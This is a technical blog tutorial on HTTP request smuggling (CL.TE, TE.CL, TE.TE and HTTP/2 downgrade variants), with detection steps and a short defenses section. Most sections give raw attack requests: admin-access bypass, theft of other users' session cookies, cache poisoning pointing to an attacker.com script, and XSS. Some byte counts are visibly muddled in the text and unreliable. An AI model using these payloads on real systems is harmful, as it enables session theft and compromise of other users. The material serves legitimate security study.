HTTP Request Smuggling: CL.TE, TE.CL and HTTP/2 Downgrade Attacks

Deep technical guide to HTTP request smuggling — CL.TE and TE.CL desync with raw HTTP examples, HTTP/2 downgrade attacks, cache poisoning, security control bypass, and detection tools.

lazyhackers
Mar 27, 2026 · 17 min read · 7 views

The Architecture That Creates Desync

HTTP request smuggling exploits a fundamental discrepancy in how front-end and back-end servers parse HTTP/1.1 message boundaries. Modern web architectures almost universally place a front-end reverse proxy (Nginx, HAProxy, Cloudflare, AWS ALB) in front of one or more back-end servers. When these two tiers disagree about where one HTTP request ends and the next begins, the attacker can "smuggle" the beginning of a malicious request to the back-end, which gets prepended to the next legitimate user's request.

HTTP/1.1 defines two mechanisms for determining message body length: the Content-Length header (number of bytes) and the Transfer-Encoding: chunked header (body terminated by a zero-length chunk). The RFC states that if both are present, Transfer-Encoding takes precedence. But different HTTP implementations handle this conflict differently — this disagreement is the root cause of smuggling.

CL.TE Attack — Front-End Uses Content-Length, Back-End Uses Transfer-Encoding

In a CL.TE attack, the front-end server uses the Content-Length header to determine request boundary, while the back-end uses Transfer-Encoding. The attacker crafts a request where Content-Length encompasses the entire payload, but the Transfer-Encoding body terminates early, leaving leftover bytes that poison the back-end's connection buffer.

# CL.TE Attack — Raw HTTP Request
# The front-end reads Content-Length: 13 bytes of body = "0\r\n\r\nGET /evil"
# It forwards the entire thing as one request.
# The back-end processes Transfer-Encoding: chunked
# It reads chunk size "0" (zero), which terminates the chunked body
# The remaining "GET /evil" bytes stay in the connection buffer
# The back-end appends the NEXT user's request to "GET /evil"

POST / HTTP/1.1
Host: vulnerable.target.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 13
Transfer-Encoding: chunked

0

GET /evil HTTP/1.1
X-Ignore: x
The exact byte count matters. In the CL.TE example above, the body after the blank line is: 0\r\n\r\nGET /evil HTTP/1.1\r\nX-Ignore: x. The Content-Length of 13 covers 0\r\n\r\nGET /evil — 13 bytes. The back-end processes the chunked body (just the 0\r\n\r\n chunk terminator), leaving the GET /evil HTTP/1.1\r\nX-Ignore: x in the buffer.

CL.TE Timing-Based Detection

# If the vulnerability exists, this request will cause a timeout (hang):
# The back-end processes the zero chunk, thinks the request is done.
# But it's waiting for more data because... wait, the front-end has already moved on.
# Actually: send this payload and time the response.

POST / HTTP/1.1
Host: vulnerable.target.com
Transfer-Encoding: chunked
Content-Length: 4

1
A
X

# In CL.TE scenario:
# Front-end reads 4 bytes of body (Content-Length:4 = "1\r\nA\r\n" = 4? — needs careful counting)
# Back-end tries to read chunked body — reads chunk of size 1 ("A"), then waits for next chunk
# Never comes = timeout = CL.TE vulnerability confirmed

# Using smuggler.py for automated detection:
python3 smuggler.py -u https://target.com/ -v 2
# Options:
# -l : specify log file
# -m : method (POST/GET)
# -t : timeout in seconds
# Output: identifies which variant (CL.TE, TE.CL, etc.) is present

Full CL.TE Exploitation — Bypassing Front-End Access Control

# Scenario: /admin endpoint is blocked by front-end WAF
# Back-end does NOT enforce this restriction directly

# Step 1: Poison the connection with a partial admin request
POST / HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 37
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
X-Ignore: x
# Step 2: The next user's request gets appended to "GET /admin HTTP/1.1\r\nX-Ignore: x"
# Next user sends:
GET / HTTP/1.1
Host: target.com
Cookie: session=victim_session

# Back-end receives:
GET /admin HTTP/1.1
X-Ignore: xGET / HTTP/1.1
Host: target.com
Cookie: session=victim_session

# Back-end processes this as a request to /admin with the victim's session
# If the back-end doesn't validate the path via the front-end's rules: ACCESS GRANTED

TE.CL Attack — Back-End Uses Content-Length, Front-End Uses Transfer-Encoding

In TE.CL, the front-end processes Transfer-Encoding: chunked, so it forwards the entire request including all chunks. The back-end uses Content-Length and stops reading after that many bytes, leaving the rest of the chunked data as a poisoned prefix for the next request:

# TE.CL Attack — Raw HTTP Request
# Content-Length: 3 = "abc" on the back-end (what back-end reads as body)
# Front-end reads all chunks (terminates at 0 chunk)
# Back-end reads 3 bytes of body: "abc"
# Remainder (the malicious request) is left in buffer

POST / HTTP/1.1
Host: vulnerable.target.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 3
Transfer-Encoding: chunked

8
SMUGGLED
0

# More practical TE.CL exploit to capture other users' requests:
# The smuggled prefix is designed to capture the next request into a POST body

POST / HTTP/1.1
Host: vulnerable.target.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked

87
POST /capture HTTP/1.1
Host: vulnerable.target.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100

param=
0


# The back-end reads the first 4 bytes ("87\r\n") as body
# But then sees the chunked data — wait, that's wrong.
# The actual TE.CL math:
# - Front-end reads chunked: chunk of 87 bytes = the inner POST request
# - Then the 0 chunk = end of front-end's view of the request
# - Back-end gets the full forwarded data, reads Content-Length: 4 = first 4 bytes
# - Rest: the POST /capture with Content-Length:100 stays in buffer
# - Next user's request gets appended to param= making body: param=GET /... (victim request)
# - App at /capture saves param value = captures victim's request including session cookie

Obfuscating the TE Header (TE.TE)

# When both front-end and back-end support chunked encoding,
# obfuscate one TE header so one processes it and the other ignores it:

# Obfuscation techniques for Transfer-Encoding:
Transfer-Encoding: xchunked
Transfer-Encoding: x-custom, chunked
Transfer-Encoding : chunked          # space before colon
Transfer-Encoding: chunked, identity # second value
Transfer-Encoding:
  chunked                            # tab/space indented continuation
X-Transfer-Encoding: chunked        # non-standard header name
Transfer-Encoding: ["chunked"]      # JSON-like value

# Full TE.TE attack request:
POST / HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked
Transfer-Encoding: x-obfuscated

5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0


# One of the two servers uses the obfuscated version (ignores chunked)
# The other uses the valid chunked header
# Creates CL.TE or TE.CL depending on which server ignores which

HTTP/2 Request Smuggling

HTTP/2 uses a binary framing layer that inherently defines message boundaries — each frame has a length field, so there should be no ambiguity. However, the vulnerability arises when HTTP/2 is downgraded to HTTP/1.1 on the back-end connection. The front-end (CDN/proxy) speaks HTTP/2 with clients but translates to HTTP/1.1 for back-end communication. If the downgrade translation is flawed, smuggling becomes possible.

H2.CL — HTTP/2 with Content-Length Injection

# In HTTP/2, Content-Length is technically redundant (frame length defines body size)
# But some front-ends forward a user-supplied Content-Length to the HTTP/1.1 back-end
# If the HTTP/1.1 back-end uses the Content-Length rather than the actual byte count:

# HTTP/2 request headers (as shown in Burp):
:method  POST
:path    /
:scheme  https
:authority  target.com
content-type  application/x-www-form-urlencoded
content-length  0        <-- front-end forwards this despite actual body length

# HTTP/2 body:
GET /admin HTTP/1.1
Host: target.com
X-Ignore: x

# Front-end reads the HTTP/2 frame length as the real length
# Translates to HTTP/1.1, forwards Content-Length: 0 header
# Back-end reads Content-Length: 0, treats the body as the start of next request!

H2.TE — HTTP/2 with Transfer-Encoding Injection

# Inject Transfer-Encoding: chunked into HTTP/2 request
# Some front-ends forward this to HTTP/1.1 back-end verbatim

:method  POST
:path    /
:scheme  https
:authority  target.com
content-type  application/x-www-form-urlencoded
transfer-encoding  chunked   <-- injected TE header

# Body (chunked format for back-end):
0

GET /admin HTTP/1.1
Host: target.com
X-Ignore: x

# Front-end sees HTTP/2 (no TE processing), forwards everything
# Back-end sees Transfer-Encoding: chunked, processes the body as chunked
# Zero chunk terminates the chunked body, leaving the GET /admin as next request prefix

HTTP/2 Header Injection

# HTTP/2 headers can be injected with CRLF sequences
# If the front-end doesn't validate HTTP/2 header values:

# Inject via header value (as displayed in Burp HTTP/2 message editor):
foo: bar\r\nTransfer-Encoding: chunked

# Front-end forwards as two separate HTTP/1.1 headers:
# foo: bar
# Transfer-Encoding: chunked

# This turns a non-TE request into a TE request on the back-end
# Combined with a body containing chunked data = TE.CL attack

# Header name injection (HTTP/2 forbids colons in header names
# but some parsers don't validate):
:method  GET
:path  /
:scheme  https
:authority  target.com
foo:bar  injected: header   <-- colon in name injects extra header

Detection Methodology

Burp HTTP Request Smuggler Extension

# Install: Burp > Extensions > BApp Store > HTTP Request Smuggler
# Usage:
# 1. Right-click request > Extensions > HTTP Request Smuggler > Smuggle probe
# 2. Select: Active scan for request smuggling
# 3. The extension tries CL.TE, TE.CL, and HTTP/2 variants
# 4. Reports timing anomalies and differential responses

# Manual timing-based detection in Burp Repeater:
# Set Connection: keep-alive
# Send CL.TE probe:
POST / HTTP/1.1
Host: target.com
Transfer-Encoding: chunked
Content-Length: 4

1
A
X

# If response takes longer than normal (10-30s timeout): CL.TE likely
# Turn off "Update Content-Length" in Burp Repeater options
# Use "Follow redirects: Never"

smuggler.py — Command Line Detection

# Installation:
git clone https://github.com/defparam/smuggler.git
cd smuggler
pip3 install requests

# Basic scan:
python3 smuggler.py -u https://target.com/

# With specific headers (e.g., authenticated):
python3 smuggler.py -u https://target.com/ \
  -H "Cookie: session=YOUR_SESSION" \
  -H "Authorization: Bearer TOKEN"

# Verbose with all variants:
python3 smuggler.py -u https://target.com/ -v 2 -m POST

# Output example:
# [+] Testing CL.TE ...
# [+] Possible CL.TE Found! Response time: 22.341s
# [+] Testing TE.CL ...
# [-] No vuln found for TE.CL
# [+] Testing TE.TE ...
# [+] Possible TE.TE Found! Response time: 18.102s

Exploitation: Capturing Other Users' Requests

# Goal: Steal session cookies from other users' requests
# The server must store POST body content somewhere accessible (e.g., comment, search history)

# Step 1: Create a storage endpoint (use an existing feature that stores data)
# Find any feature that stores user input: comments, profile bio, search queries

# Step 2: Craft the smuggled prefix to capture next request
POST / HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 42
Transfer-Encoding: chunked

0

POST /save-comment HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 400

comment=CAPTURED_DATA_FOLLOWS_HERE_
# The next user's request gets appended to "comment=CAPTURED_DATA_FOLLOWS_HERE_"
# Their request headers (including Cookie) become part of the comment body
# Content-Length: 400 ensures the back-end reads 400 bytes of "their" data

# Victim's request that arrives next:
GET /my-account HTTP/1.1
Host: target.com
Cookie: session=VICTIM_SESSION_TOKEN
...

# Back-end receives:
POST /save-comment HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 400

comment=CAPTURED_DATA_FOLLOWS_HEREGET /my-account HTTP/1.1
Host: target.com
Cookie: session=VICTIM_SESSION_TOKEN

# The comment now contains the victim's session cookie
# Retrieve it by viewing comments on the post

Web Cache Poisoning via Request Smuggling

# Poison a cacheable GET response with a malicious response
# By smuggling a request that causes the back-end to respond with an XSS payload
# which then gets cached and served to legitimate users

# The smuggled request targets a cacheable static resource:
POST / HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 150
Transfer-Encoding: chunked

0

GET /static/app.js HTTP/1.1
Host: target.com
X-Forwarded-Host: attacker.com

# If the back-end uses X-Forwarded-Host to construct absolute URLs in responses,
# the poisoned response for /static/app.js may contain:
# <script src="https://attacker.com/evil.js"></script>
# This response gets cached and served to all users requesting /static/app.js

Reflected XSS via Request Smuggling

# Some reflected XSS payloads are blocked by WAF on the front-end
# Smuggling delivers the XSS payload directly to the back-end, bypassing the WAF

POST / HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 150
Transfer-Encoding: chunked

0

GET /search?q=<script>alert(document.cookie)</script> HTTP/1.1
Host: target.com
Cookie: session=YOUR_SESSION
X-Custom: x

# The back-end processes the smuggled GET /search request
# Returns a reflected XSS response that the browser executes
# The WAF never saw the XSS payload since it was hidden in the POST body
Request smuggling attacks can affect all users sharing a connection pool between front-end and back-end, not just the attacker. Always test in controlled environments and with minimal impact payloads. In production bug bounty testing, use timing-only detection first, then escalate to active exploitation only if the rules of engagement permit.

Defenses

# 1. Normalize ambiguous requests at the front-end (reject or resolve TE+CL conflicts):
# Nginx: proxy_http_version 1.1; (use HTTP/1.1 with keep-alive)
# HAProxy: option http-server-close (close connection after each request)

# 2. Disable HTTP/1.1 keep-alive on back-end connections:
# Each request gets its own connection = no shared buffer to poison
# nginx upstream: keepalive 0;

# 3. HTTP/2 end-to-end (front-end AND back-end):
# Eliminates the HTTP/2 downgrade attack surface entirely

# 4. Reject requests with both Content-Length and Transfer-Encoding:
# Strictly RFC-compliant behavior

# 5. Use WAF rules to detect smuggling patterns:
# Detect non-printable chars in headers
# Detect TE header with unusual values
# Detect requests where CL != actual body length

HTTP request smuggling represents one of the most complex web vulnerability classes requiring both deep understanding of HTTP protocol internals and careful exploitation. The HTTP/2 downgrade variants discovered by James Kettle in 2021 dramatically expanded the attack surface, making even "HTTP/2 only" applications vulnerable when the back-end still speaks HTTP/1.1. The key takeaway: any architecture where multiple servers parse the same HTTP stream is a potential smuggling candidate.

Reactions

Related Articles